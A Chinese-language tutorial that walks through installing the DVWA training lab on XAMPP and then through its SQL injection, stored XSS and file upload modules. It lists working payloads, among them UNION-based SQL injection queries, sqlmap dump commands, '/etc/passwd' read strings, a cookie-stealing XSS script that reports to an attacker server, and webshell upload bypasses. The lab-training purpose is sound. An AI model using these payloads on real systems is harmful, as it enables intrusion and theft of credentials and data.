DVWA靶场搭建与Web安全漏洞实战入门指南

1. 项目概述与核心价值

如果你对网络安全、Web渗透测试感兴趣,或者想成为一名白帽子,那么“靶场”这个词你一定不陌生。DVWA,全称Damn Vulnerable Web Application,翻译过来就是“该死的漏洞Web应用”,它可以说是安全圈里最经典、最受欢迎的入门级靶场,没有之一。我第一次接触它还是在十多年前,当时为了搞懂一个SQL注入的原理,在本地环境折腾了半天,DVWA给了我一个可以随意“搞破坏”又不用担心后果的沙盒。这么多年过去了,它依然是无数安全新人、开发者和测试工程师的启蒙老师。

DVWA的核心价值就在于它的名字——故意设计得漏洞百出。它不是一个需要你去真实网站“以身试法”的危险品,而是一个搭建在你本地或内网的安全实验室。里面集成了SQL注入、XSS跨站脚本、文件上传、命令执行等十多种最常见的Web漏洞,并且为每个漏洞都设置了从“低”到“不可能”的四个安全等级。你可以从最简单的“低”级别开始,直观地看到漏洞是如何被利用的;然后挑战“中”和“高”级别,学习各种安全防护机制(比如输入过滤、令牌验证)是如何被绕过的;最后在“不可能”级别,看到真正安全的代码应该怎么写。这个过程,就是一个完整的“攻击与防御”思维训练。

搭建DVWA的过程本身,也是一次绝佳的学习机会。它不像安装一个普通软件那样点几下“下一步”就完事了,你需要配置Web服务器(如Apache)、数据库(如MySQL)和PHP运行环境。这个过程会让你对Web应用的基础架构有一个直观的认识,明白一个动态网站是如何运作的。很多新手卡在“环境配置”这一步,其实这正是理解后续渗透测试的基础。今天,我就以一个老鸟的身份,带你从零开始,手把手搭建一个功能完整的DVWA靶场,并分享一些官方教程里不会写的配置技巧和避坑指南。

2. 环境准备与工具选型

在开始下载DVWA源码之前,我们得先把它的“家”给准备好。DVWA是一个用PHP写的Web应用,后端数据存在MySQL里,所以我们需要一个能同时运行PHP和MySQL的服务器环境。对于新手来说,最省事的选择是使用集成环境包

2.1 集成环境包选择:XAMPP vs Others

市面上主流的集成环境有XAMPP、WAMP(Windows)、MAMP(Mac)、LAMP(Linux手动搭建)。对于绝大多数Windows用户,我强烈推荐XAMPP。理由很简单:它跨平台、免费、组件齐全(Apache, MySQL, PHP, phpMyAdmin一次搞定),而且社区活跃,遇到问题容易找到解决方案。

注意:虽然用Docker搭建更“炫酷”也更干净,但对于渗透测试学习而言,XAMPP这类传统集成环境能让你更直接地接触到配置文件和服务管理,这对理解Web服务器工作原理更有帮助。Docker我们可以在后续进阶时再玩。

下载与安装要点

  1. 访问Apache Friends官网,下载对应你操作系统(Windows 64位最常见)的XAMPP安装包。建议下载PHP版本为7.x的稳定版,因为DVWA对PHP 8+的部分版本可能存在兼容性问题。
  2. 安装路径千万不要选在中文目录或者带空格的目录下,比如“C:\Program Files”就不太好。我习惯直接装在C:\xamppD:\xampp,路径简单,后续命令行操作也方便。
  3. 安装过程中,Windows Defender或杀毒软件可能会弹出警告,因为XAMPP要安装Apache和MySQL服务。选择“允许”或“更多信息->仍要运行”即可。
  4. 安装最后一步,会询问是否启动“Control Panel”(控制面板)。务必勾选,这是我们管理服务的核心工具。

2.2 获取DVWA源代码

环境准备好了,现在去请“主角”登场。DVWA的源代码托管在GitHub上。

  1. 访问DVWA的官方GitHub仓库(搜索“dvwa”即可找到)。
  2. 不要直接点“Download ZIP”,那样下载的是最新的开发版,可能不稳定。我们应该点击“Releases”标签页,下载最新的稳定版本(比如DVWA 2.0+)。
  3. 将下载的ZIP包解压。你会得到一个名为DVWA-master或类似名称的文件夹。关键一步来了:将这个文件夹重命名为dvwa(全小写,无空格),然后剪切复制到XAMPP的网站根目录下。
    • XAMPP的默认网站根目录是:C:\xampp\htdocs\
    • 最终,你的DVWA路径应该是:C:\xampp\htdocs\dvwa\

实操心得:为什么一定要重命名并放到htdocs下?因为Apache服务器默认从这个目录提供网页文件。dvwa这个目录名将成为你访问靶场的URL的一部分(如http://localhost/dvwa/)。使用简单清晰的目录名能避免很多不必要的麻烦。

2.3 基础服务检查与启动

现在,打开XAMPP控制面板。

  1. 你可能会看到Apache和MySQL后面都是空白,这表示服务未启动。
  2. 分别点击Apache和MySQL所在行对应的“Start”按钮。如果启动成功,按钮旁边的背景会变成绿色,并显示该服务进程的PID(进程ID)。
    • 常见问题1:Apache启动失败,端口冲突。这通常是80端口被占用(比如被IIS、Skype、其他Web服务器占用)。解决方法:点击Apache那一行的“Config”按钮,选择“Apache (httpd.conf)”,用记事本打开,找到Listen 80这一行,将其改为Listen 8080或其他未被占用的端口(如8081)。保存后重启Apache。之后访问地址需变为http://localhost:8080/dvwa/
    • 常见问题2:MySQL启动失败。可能是3306端口被占用,或者之前有MySQL服务未正确卸载。可以尝试修改C:\xampp\mysql\bin\my.ini文件中的port = 3306为其他端口,但更简单的办法是:检查任务管理器,结束所有名为mysqld.exe的进程,然后重新点击Start。

启动成功后,打开浏览器,输入http://localhost/dvwa/(如果你改了Apache端口,则输入http://localhost:8080/dvwa/)。如果能看到DVWA的安装引导页面,那么恭喜你,最基础的一步已经成功了。

3. 核心配置详解与初始化

看到安装页面只是第一步,接下来才是配置的关键。你会看到一个红色的提示框,告诉你一些配置需要检查或修改。别慌,我们一个一个来解决。

3.1 配置文件修改:config.inc.php

DVWA的核心配置都在htdocs\dvwa\config目录下。这里有一个config.inc.php.dist文件,这是配置模板。我们的任务是复制它并创建我们自己的配置文件。

  1. 进入C:\xampp\htdocs\dvwa\config目录。
  2. 找到config.inc.php.dist文件,复制一份,并将副本重命名为config.inc.php(去掉.dist扩展名)。用记事本或专业的代码编辑器(如VS Code、Notepad++)打开这个新文件。

我们需要关注以下几个关键配置项:

$_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'db_port' ] = '3306';
  • db_server: 数据库服务器地址。本地环境就用127.0.0.1localhost
  • db_database: 数据库名,默认dvwa,不用改。
  • db_userdb_password: 数据库用户名和密码。这里是第一个大坑!XAMPP默认的MySQL root用户密码是空的(即没有密码),而不是模板里写的p@ssw0rd。所以,你需要将db_password的值改为空字符串:'db_password' = '';
  • db_port: MySQL端口,默认3306,如果你没改过XAMPP的MySQL配置,这里就不用动。
$_DVWA[ 'default_security_level' ] = 'low';
  • 这个设置控制你每次登录DVWA后默认进入的漏洞难度等级。建议新手设为'low',方便练习。
$_DVWA[ 'recaptcha_public_key' ] = ''; $_DVWA[ 'recaptcha_private_key' ] = '';
  • 这两个是关于reCAPTCHA(谷歌验证码)的密钥,用于“Insecure CAPTCHA”模块。如果你不想用或暂时搞不定,可以留空。部分功能可能受限,但不影响核心漏洞练习。

修改完成后,保存config.inc.php文件。

3.2 数据库创建与用户权限设置

虽然配置文件里写了数据库名dvwa,但这个数据库并不存在,需要我们手动创建,或者让DVWA的安装脚本帮你创建。更推荐手动创建,因为能让你更清楚背后发生了什么。

  1. 打开浏览器,访问http://localhost/phpmyadmin。这是XAMPP自带的数据库管理工具,用户名root,密码为空,直接登录。
  2. 登录后,在左侧导航栏点击“新建”,在“数据库名”输入框中输入dvwa,排序规则选择utf8mb4_general_ci,然后点击“创建”。
  3. 数据库创建成功后,我们还需要确保MySQL的root用户有足够的权限。点击顶部导航栏的“用户账户”。找到root用户对应的“localhost”主机一行,点击“编辑权限”。
  4. 在“全局权限”选项卡,直接点击“全选”,然后点击“执行”。这赋予了root用户所有数据库的所有权限。注意:这仅在本地学习环境这样做,生产环境绝对禁止!

3.3 文件权限与PHP设置调整

回到DVWA的安装页面(http://localhost/dvwa/setup.php),刷新一下。红色错误提示应该会减少。但可能还会剩下关于reCAPTCHA密钥和PHP function allow_url_include的警告。

  1. reCAPTCHA警告:可以忽略,如前所述。

  2. allow_url_include警告:这个PHP配置项如果为Disabled,会影响“File Inclusion”(文件包含)漏洞模块的远程文件包含(RFI)功能。为了完整的学习体验,我们需要开启它。

    • 找到XAMPP的PHP配置文件:C:\xampp\php\php.ini
    • 用编辑器打开,按Ctrl+F搜索allow_url_include
    • 你会找到一行allow_url_include=Off,把它改成allow_url_include=On
    • 保存文件,然后必须回到XAMPP控制面板,重启Apache服务,才能使配置生效。
  3. 文件写入权限:DVWA的config目录需要Web服务器(Apache)有写入权限,以便在安装时生成一些临时文件或存储数据。通常XAMPP安装后权限是设置好的,但如果遇到相关问题,可以右键点击htdocs\dvwa文件夹 -> 属性 -> 安全 -> 编辑,给UsersEveryone组添加“写入”权限(仅限本地学习环境)。

完成以上步骤后,再次刷新setup.php页面。理想情况下,你应该看到一个绿色的“Setup Check”表格,所有项都是绿色的勾。最下方有一个醒目的按钮:“Create / Reset Database”。

4. 数据库初始化与首次登录

这是搭建过程的临门一脚。

4.1 执行数据库初始化

点击“Create / Reset Database”按钮。这个操作会做两件事:

  1. 在刚才创建的dvwa数据库中,创建所有必要的表(如users,guestbook等)。
  2. 向表中插入初始数据,包括两个默认用户账户。

如果一切顺利,页面会跳转到登录页面(http://localhost/dvwa/login.php),并显示“Setup Successful!”的提示。

4.2 默认凭证与首次登录

DVWA提供了两个默认用户:

  • 用户名:admin|密码:password
  • 用户名:gordonb|密码:abc123

(还有一个1337/charley,但常用的是前两个) 使用任意一组凭证登录即可。强烈建议你登录后,第一时间在“DVWA Security”页面,将安全级别设置为“Low”。这样,所有漏洞模块都会以最低防护级别运行,最适合上手练习。

重要安全警告:至此,你的DVWA靶场已经搭建完成。但请务必记住:绝对不要将搭建好的DVWA部署到任何公网可访问的服务器(如云主机)上。它本身充满漏洞,一旦暴露在公网,几分钟内就会被自动化攻击脚本扫描到并攻陷,可能导致你的服务器被当作跳板或肉鸡。它永远只应该运行在你的本地电脑隔离的虚拟机/内网环境中。

5. 核心模块初探与安全等级设置

成功登录后,左侧的导航栏就是DVWA的“漏洞菜单”。我们快速过一遍核心模块,并理解安全等级的意义。

5.1 核心漏洞模块简介

  • Brute Force(暴力破解):模拟一个登录表单,让你尝试用字典爆破用户名和密码。用于理解弱口令的危害和账户锁定机制。
  • Command Injection(命令注入):提供一个输入框(比如Ping功能),如果后端代码对输入处理不当,你可以注入系统命令(如; cat /etc/passwd)来执行。
  • CSRF(跨站请求伪造):模拟一个修改密码的页面,教你如何构造一个恶意链接或页面,诱骗已登录的用户在不知情的情况下执行敏感操作。
  • File Inclusion(文件包含):包括本地文件包含(LFI)和远程文件包含(RFI)。通过包含服务器上的敏感文件(如../../../../etc/passwd)或远程恶意脚本,来获取信息或控制服务器。
  • File Upload(文件上传):模拟一个上传头像或附件的功能。学习如何绕过前端和后端的文件类型检查,上传Webshell(如一句话木马)从而控制服务器。
  • Insecure CAPTCHA(不安全的验证码):展示一个验证码实现逻辑有缺陷的场景,如何绕过验证码的验证步骤。
  • SQL Injection(SQL注入)最核心的模块之一。提供一个用户查询接口,通过注入恶意的SQL语句,来窃取、篡改或删除数据库中的数据。有基于错误的注入、盲注等多种类型。
  • SQL Injection (Blind)(SQL盲注):SQL注入的一种特殊形式,页面不会直接返回数据库错误信息,你需要通过页面返回的“真/假”或时间延迟来一点点推断数据。更贴近实战。
  • XSS (Reflected)(反射型XSS):恶意脚本来自用户的本次请求,并立即在页面响应中执行。常见于搜索框、错误信息提示处。
  • XSS (Stored)(存储型XSS):恶意脚本被存储到服务器端(如数据库),当其他用户访问特定页面时触发。危害更大,如留言板、昵称处的XSS。
  • CSP Bypass(内容安全策略绕过):学习如何绕过一种名为CSP的现代浏览器安全策略。
  • JavaScript:一些基于JavaScript的挑战,用于理解前端安全。

5.2 安全等级详解与切换

在左侧菜单找到“DVWA Security”并点击。这里就是控制整个靶场难度的总开关。

  • Low:毫无防护。代码几乎不对用户输入做任何过滤和检查,漏洞利用起来直截了当。新手务必从这里开始,目的是理解漏洞最原始的原理和利用方式。
  • Medium:引入了一些基础的防护措施,比如用了mysql_real_escape_string()来防SQL注入,用了strip_tags()来防XSS。但这些防护往往存在缺陷,可以被绕过。这个等级教你理解“不完整”的安全措施是多么危险。
  • High:采用了更强(但可能仍非最佳)的防护手段,比如使用预编译语句(PDO)防SQL注入,使用了更严格的过滤规则。绕过需要更精巧的Payload和更深的理解。
  • Impossible:展示了当前语境下“几乎不可能”被攻破的代码实现。例如,使用参数化查询、严格的输入白名单验证、安全的会话管理等。这个等级不是用来攻击的,而是用来学习正确的安全编码应该怎么写

切换等级后,记得点击“Submit”按钮使设置生效。每个漏洞模块页面的右下角也会显示当前的安全等级。

6. 必备工具链配置与联动

一个纯粹的DVWA靶场就像给你一把没开刃的剑。要想真正练习渗透测试,你需要一套“磨刀石”和“剑法”——也就是安全工具。我们配置它们与DVWA联动。

6.1 浏览器开发者工具与代理设置

这是最基础、最强大的工具,内置于任何现代浏览器(Chrome/Firefox的F12)。

  • 用途:查看和修改前端代码(HTML/JS)、监控网络请求(Network标签)、查看和操作Cookie(Application标签)、调试JavaScript。
  • 在DVWA中的实战应用:在暴力破解模块,你可以用Network标签看到登录请求的格式;在XSS模块,你可以直接在前端修改输入长度限制;在任何有表单提交的地方,你可以查看提交的具体参数。

6.2 Burp Suite社区版配置

Burp Suite是Web渗透测试的“瑞士军刀”,社区版免费,功能对于学习DVWA绰绰有余。

  1. 下载安装:从PortSwigger官网下载。
  2. 启动与代理设置
    • 启动Burp,在Proxy -> Options选项卡,确保代理监听在127.0.0.1:8080(这是Burp默认设置)。
    • 配置浏览器代理:安装浏览器插件(如SwitchyOmega)或直接设置系统/浏览器代理为HTTP 127.0.0.1:8080更推荐使用插件,可以方便地切换。
  3. 拦截请求:打开Burp的“Proxy -> Intercept”,确保“Intercept is on”。然后用设置了代理的浏览器访问DVWA。你的第一个HTTP请求会被Burp截获。你可以在这里查看、修改请求(比如修改参数值、添加攻击载荷),再转发给服务器。
  4. 重放与扫描:在“Proxy -> HTTP history”可以看到所有经过的请求,右键可以发送到Repeater(用于手动修改和重复发送,测试漏洞)或Intruder(用于自动化爆破、模糊测试)。

实操心得:第一次用Burp访问DVWA的登录页面时,浏览器可能会因为Burp的默认自签名证书而报“不安全”警告。你需要访问http://burpsuite,下载Burp的CA证书,并导入到浏览器的受信任根证书颁发机构中。这是让Burp能够解密HTTPS流量的关键一步(尽管DVWA本地是HTTP,但养成这个习惯很重要)。

6.3 SQLMap的集成使用

SQLMap是一个自动化的SQL注入检测与利用工具。在DVWA的SQL注入模块,你可以用它来快速验证漏洞并拖库。

  1. 准备:确保你安装了Python,并从官网下载SQLMap。
  2. 基本使用
    • 首先,在DVWA SQL注入页面,手动输入一个单引号',触发一个错误(在Low安全等级下)。从错误信息或页面回显中,找到注入点的URL(如http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit)。
    • 打开命令行,进入sqlmap目录,执行:
      python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=你的会话ID; security=low"
    • 这里有两个关键参数:
      • -u: 目标URL。
      • --cookie: 因为DVWA需要登录后才能访问漏洞页面,所以必须带上你的会话Cookie。你可以从浏览器的开发者工具(Application -> Cookies)中复制PHPSESSIDsecurity的值。
  3. 获取数据:SQLMap会自动检测注入类型。确认后,你可以用--dbs枚举数据库,用-D dvwa --tables枚举dvwa数据库的表,用-D dvwa -T users --dump导出users表的所有数据。

重要伦理提醒:SQLMap功能强大,请仅在你自己搭建的DVWA或获得明确授权的测试目标上使用。

7. 从低到高:实战通关思路与技巧

现在,我们以几个核心模块为例,讲解从Low到High级别的通关思路,分享一些实用的技巧。

7.1 SQL Injection (Low to High)

  • Low级别

    • 现象:输入1',页面直接报出数据库错误(如You have an error in your SQL syntax...)。
    • 原理:后端代码直接拼接用户输入id到SQL语句中:SELECT ... FROM users WHERE id = '$id'。输入1'导致语句变成... WHERE id = '1'',语法错误。
    • 利用
      1. 判断列数:使用1' ORDER BY 1--递增数字,直到页面报错。假设ORDER BY 4出错,则说明查询结果有3列。
      2. 判断回显点:使用1' UNION SELECT 1,2,3--,看页面中哪个数字被显示出来,比如显示2和3,那么2和3的位置就可以用来显示我们想查询的数据。
      3. 获取信息1' UNION SELECT 1, database(), user()--可以爆出当前数据库名和用户名。
      4. 拖库1' UNION SELECT 1, group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--爆出所有表名。然后类似方法爆字段名、数据。
  • Medium级别

    • 变化:前端变成了下拉菜单,后端用mysql_real_escape_string()处理输入,并且id参数不再是字符串,而是整数($id = intval($_POST['id']))。
    • 绕过mysql_real_escape_string()只能防字符串注入,对于数字型的id,它根本不会被调用!因为intval()已经将输入转为整数。所以,攻击点从输入框变成了抓包修改POST数据。用Burp Suite拦截提交的请求,将id参数直接修改为1 UNION SELECT 1,@@version,3之类的Payload即可。这里的关键是理解漏洞的上下文(数字型)和防护函数的局限性。
  • High级别

    • 变化:输入被限制在单独的弹出页面,并且使用了预编译语句(PDO),这几乎能完全杜绝SQL注入。
    • 挑战:在这个级别,通常的注入手段是无效的。它的存在更多是为了展示PDO的正确用法。但有时开发者可能错误地使用了PDO(比如将变量直接拼接到SQL字符串里再交给PDO执行),那就另当别论了。在标准的DVWA High级别中,可以认为SQL注入漏洞已被修复。

7.2 Cross-Site Scripting (Stored) (Low to High)

  • Low级别

    • 现象:在留言板(Guestbook)的Name和Message输入框,可以直接输入<script>alert('XSS')</script>并成功存储,下次任何用户访问该页面都会弹窗。
    • 原理:后端对输入没有任何过滤,直接存入数据库并输出到页面。
    • 利用:除了弹窗,可以构造窃取Cookie的Payload:<script>new Image().src='http://你的服务器/steal.php?c='+document.cookie;</script>。你需要在自己的服务器上准备一个steal.php来接收Cookie。
  • Medium级别

    • 变化:后端使用了strip_tags()函数,它会移除HTML标签。<script>标签会被移除。
    • 绕过strip_tags()默认允许一些“安全”的标签,或者我们可以利用它的逻辑缺陷。例如,输入<scr<script>ipt>alert(1)</script>,中间的<script>被移除后,两边的字符会拼接成新的<script>。更常见的是,利用HTML事件属性或<img><svg>等标签。例如:<img src=x onerror=alert(1)>strip_tags()可能不会移除onerror这种属性,从而触发XSS。
  • High级别

    • 变化:使用了更强大的过滤函数,如htmlspecialchars(),它会将<,>,&,",'等字符转换为HTML实体(如<变为&lt;),从而使其在浏览器中显示为普通文本,而不会被解析为HTML标签或属性。
    • 挑战:在输出端正确使用htmlspecialchars($string, ENT_QUOTES, 'UTF-8')可以防御绝大多数XSS。High级别通常展示了这种安全的输出方式。绕过极其困难,通常需要结合其他漏洞(如浏览器0day)。

7.3 File Upload (Low to High)

  • Low级别

    • 现象:上传页面只在前端用JavaScript检查了文件扩展名。
    • 绕过
      1. 直接禁用浏览器JS。
      2. 用Burp拦截上传请求,将文件名shell.jpg改为shell.php
      3. 上传一个图片马(将PHP代码写入图片的EXIF信息),然后结合文件包含漏洞来执行。
    • 利用:上传一个内容为<?php phpinfo(); ?>shell.php文件,访问http://localhost/dvwa/hackable/uploads/shell.php即可看到PHP信息页面。
  • Medium级别

    • 变化:后端用$_FILES['uploaded']['type']检查MIME类型,只允许image/jpegimage/png
    • 绕过:MIME类型是由浏览器在HTTP请求头中的Content-Type字段声明的,完全可以被伪造。用Burp拦截上传请求,将Content-Type: application/x-php修改为Content-Type: image/jpeg即可。
    • 技巧:也可以制作一个真正的图片,但包含PHP代码。用命令copy shell.jpg /b + shell.php /b webshell.jpg(Windows)制作一个包含PHP代码的图片,然后通过文件包含漏洞来执行其中的PHP代码。
  • High级别

    • 变化:进行了更严格的检查:检查文件扩展名(黑名单或白名单)、检查文件头(魔术字节)、甚至可能重命名文件。
    • 绕过思路
      1. 白名单绕过:如果是白名单(只允许.jpg,.png),直接上传.php是不可能的。需要寻找解析漏洞。例如,旧版本Apache的1.php.jpg可能被解析为PHP文件(如果配置了AddHandler)。或者在IIS中,shell.php;.jpg可能被解析为shell.php
      2. 文件头欺骗:在文件开头添加图片的魔术字节(如FF D8 FF E0for JPEG)。
      3. 竞争条件:如果服务器先保存文件,再检查并删除不合规的文件,可以利用这个时间差访问上传的文件。
      4. 结合其他漏洞:这是最常用的方式。如果服务器对上传目录有执行权限,我们可以上传一个.htaccess文件(针对Apache),配置将.jpg文件解析为PHP。或者,如前所述,上传图片马,然后利用本地文件包含(LFI)漏洞来包含并执行它。在DVWA High级别,通常需要结合File Inclusion模块的LFI漏洞来完成利用。

8. 常见问题排查与进阶配置

即使按照教程,你也可能会遇到一些奇怪的问题。这里汇总一些高频问题。

8.1 连接数据库失败

  • 症状:点击“Create / Reset Database”后报错,或登录时提示数据库连接错误。
  • 排查
    1. 检查config.inc.php中的密码:确保$_DVWA[ 'db_password' ]对于XAMPP是空字符串''
    2. 检查MySQL服务状态:XAMPP控制面板中MySQL是否亮绿灯。
    3. 检查端口:确认config.inc.php中的db_port与XAMPP MySQL实际端口一致(默认3306)。
    4. 手动连接测试:打开命令行,输入mysql -u root -p,直接回车(密码为空)。如果能进入MySQL命令行,说明数据库服务本身正常,问题在DVWA配置。
    5. 检查php.ini扩展:确保php.iniextension=mysqliextension=pdo_mysql前面没有分号;(分号是注释)。修改后需重启Apache。

8.2 页面显示乱码或PHP代码

  • 症状:访问DVWA页面,显示的是PHP源代码,而不是渲染后的HTML。
  • 原因:PHP解析器没有工作。
  • 解决
    1. 确保Apache服务已启动。
    2. 检查C:\xampp\apache\conf\httpd.conf,确保有类似LoadModule php_module "C:/xampp/php/php8apache2_4.dll"AddHandler application/x-httpd-php .php的配置,且路径正确。
    3. 最简单的方法:重新运行一遍XAMPP的安装程序,选择修复。

8.3 重置按钮无效或数据混乱

  • 症状:在“Setup”页面点击“Create / Reset Database”没反应,或者练习时数据库数据错乱。
  • 解决
    1. 手动重置:打开phpMyAdmin (http://localhost/phpmyadmin),选中左侧的dvwa数据库,点击顶部“操作”选项卡,在“删除数据库或数据表”区域,勾选“删除前添加DROP语句”,然后点击“执行”。这将彻底删除数据库。然后回到DVWA的setup.php页面,再次点击创建按钮。
    2. 检查文件权限:确保htdocs\dvwa\hackable\confightdocs\dvwa\external\phpids等目录对Web服务器有写入权限。

8.4 在虚拟机或Docker中部署

  • 需求:为了更隔离、更便携,很多人选择在虚拟机(如VMware装Kali Linux)或Docker中部署DVWA。
  • 虚拟机(Kali):Kali Linux通常预装了LAMP环境或至少装了Apache、MySQL、PHP。步骤类似:将DVWA源码放到/var/www/html/,配置MySQL(Kali默认MySQL root密码可能是toor),修改config.inc.php,调整PHP设置(/etc/php/版本/apache2/php.ini),最后在浏览器用Kali的IP访问。
  • Docker:这是最干净快捷的方式。可以直接拉取官方镜像:docker pull vulnerables/web-dvwa,然后运行docker run --rm -it -p 80:80 vulnerables/web-dvwa。访问宿主机的IP即可。Docker方式几乎免配置,但可能不利于初学者理解底层环境。

8.5 汉化与界面优化

默认DVWA是英文界面,对于部分初学者可能有些障碍。

  1. 汉化:GitHub上有社区维护的中文语言包。通常是一个chinese.php文件,将其放入dvwa\languages目录,然后在config.inc.php中设置$_DVWA[ 'default_language' ] = 'chinese';即可。
  2. 界面优化:DVWA的界面比较复古。你可以通过修改dvwa\dvwa\css目录下的CSS文件来自定义样式。不过,作为学习工具,功能完备比界面美观更重要。

搭建和配置DVWA的过程,本身就是一次宝贵的实战学习。它强迫你去理解Web服务、数据库、PHP配置以及它们之间的交互。当你终于看到绿色的登录界面,并成功利用第一个SQL注入漏洞爆出数据库名时,那种成就感是无可替代的。记住,这个靶场是你的沙盒,请尽情探索、大胆尝试、反复破坏和重建。每一次错误和排查,都会让你离理解Web安全的本质更近一步。安全之路,始于足下,而DVWA正是那块最坚实的垫脚石。